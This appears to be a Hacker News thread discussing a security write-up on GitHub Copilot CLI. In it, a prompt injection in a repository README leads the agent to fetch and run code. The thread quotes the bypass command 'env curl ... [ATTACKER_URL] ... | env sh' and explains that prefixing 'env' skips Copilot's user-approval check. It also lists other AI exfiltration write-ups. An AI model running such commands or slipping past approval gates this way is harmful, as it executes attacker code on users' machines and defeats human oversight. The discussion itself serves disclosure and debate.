GitHub Copilot CLI downloads and executes malware(promptarmor.com) |
GitHub Copilot CLI downloads and executes malware(promptarmor.com) |
> However, if those shell commands (e.g., curl) are not detected, the URL permissions do not trigger. Here is a malicious command that bypasses the shell command detection mechanisms:
> env curl -s "https://[ATTACKER_URL].com/bugbot" | env sh
So GH Copilot restricts curl, but not if it's run with `env` prepended.
Seems nuts to have env or find on the default allowlist to me! Really these agents shouldn't be able to execute anything at all without approval by default, if you want to give it something like "find" or "env" to do safe things without approval, reimplement the functionality you want as a tool that can't do arbitrary code execution.
The author had copilot read a "prompt injection" inside a readme while copilot is enabled to execute code or run bash commands (which user had to explicitly agree to).
I highly suspect this account is astro-turfing for the site too... look at their sidebar:
``` Claude Cowork Exfiltrates Files
HN #1
Superhuman AI Exfiltrates Emails
HN #12
IBM AI ('Bob') Downloads and Executes Malware
HN #1
Notion AI: Data Exfiltration
HN #4
HuggingFace Chat Exfiltrates Data
Screen takeover attack in vLex (legal AI acquired for $1B)
Google Antigravity Exfiltrates Data
HN #1
CellShock: Claude AI is Excel-lent at Stealing Data
Hijacking Claude Code via Injected Marketplace Plugins
Data Exfiltration from Slack AI via Indirect Prompt Injection
HN #1
Data Exfiltration from Writer.com via Indirect Prompt Injection
HN #5 ```
But is it a security issue on copilot that the user explicitly giving AI permission and instructed it to curl a url?
Regardless of the coding agent, I suspect eventually all of the coding agents will behave the same with enough prompting regardless if it's a curl command to a malicious or legitimate site.
If 2) is fine then why bother with 1)? In yolo mode such an injection would be "working as designed", but it's not in yolo mode. It shouldn't be able to just do `env sh` and run whatever it wants without approval.
"The env command is part of a hard-coded read-only command list stored in the source code. This means that when Copilot requests to run it, the command is automatically approved for execution without user approval."
Wait, what? Sure, you can use "env" like "printenv", to display the environment, but surely its most common use is to run other commands, making its inclusion on this list an odd choice, to say the least.
Here is a malicious command that bypasses the shell command detection mechanisms:
$ env curl -s "https://[ATTACKER_URL].com/bugbot" | env sh
> Copilot also has an external URL access check that requires user approval when commands like curl, wget, or Copilot’s built-in web-fetch tool request access to external domains [1].
> This article demonstrates how attackers can craft malicious commands that go entirely undetected by the validator - executing immediately on the victim’s computer with no human-in-the-loop approval whatsoever.
This is the claim by the article: "Vulnerabilities in the GitHub Copilot CLI expose users to the risk of arbitrary shell command execution via indirect prompt injection without any user approval"
But this is not true, the author gave explicit permission on copilot startup to trust and execute code in the folder.
Here's the exact starting screen on copilot:
│ Confirm folder trust │ │ │ │ ╭─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮ │ │ │ /Users/me/Documents │ │ │ ╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯ │ │ │ │ Copilot may read files in this folder. Reading untrusted files may lead Copilot to behave in unexpected ways. With your permission, Copilot may execute │ │ code or bash commands in this folder. Executing untrusted code is unsafe. │ │ │ │ Do you trust the files in this folder? │ │ │ │ 1. Yes │ │ 2. Yes, and remember this folder for future sessions │ │ 3. No (Esc) │
And `The injection is stored in a README file from the cloned repository, which is an untrusted codebase.`
The risk isn't solely that there might be a prompt injection, Copilot could just discover `env sh` doesn't need a user prompt and just start using that spontaneously and bypassing user confirmation. If you haven't started Copilot in yolo mode that would be very surprising and risky.
If it usually asks for user confirmation before running bash commands then there should, ideally, not be a secret yolo mode that the agent can just start using without asking. That's obviously a bad idea!
"Actually copilot is always secretly in yolo mode, that's working as designed" seems like a pretty serious violation of expectations. Why even have any user confirmations at all?
I think it's a valid observation that we can bypass the coding AI's user prompting gate with the right prompt. That is a valid limitation of LLM supported agentic workflows today.
But that's not what this article claims. The article claims that there was no user approval and no user interaction beyond initial query and that the copilot is downloading + executing malware.
I'm saying this is sensationalized and not a novel technical vulnerability write up.
The author explicitly gave approval for copilot to trust "untrusted repository". Crafted a file which had instructions to do a curl command despite the warnings on copilot start up. It is not operating secretly in yolo mode.
If the claim of the article is "Copilot doesn't gate tool calls with env", I'd have a different response. But I also have to mention, you can tune approved tool calls.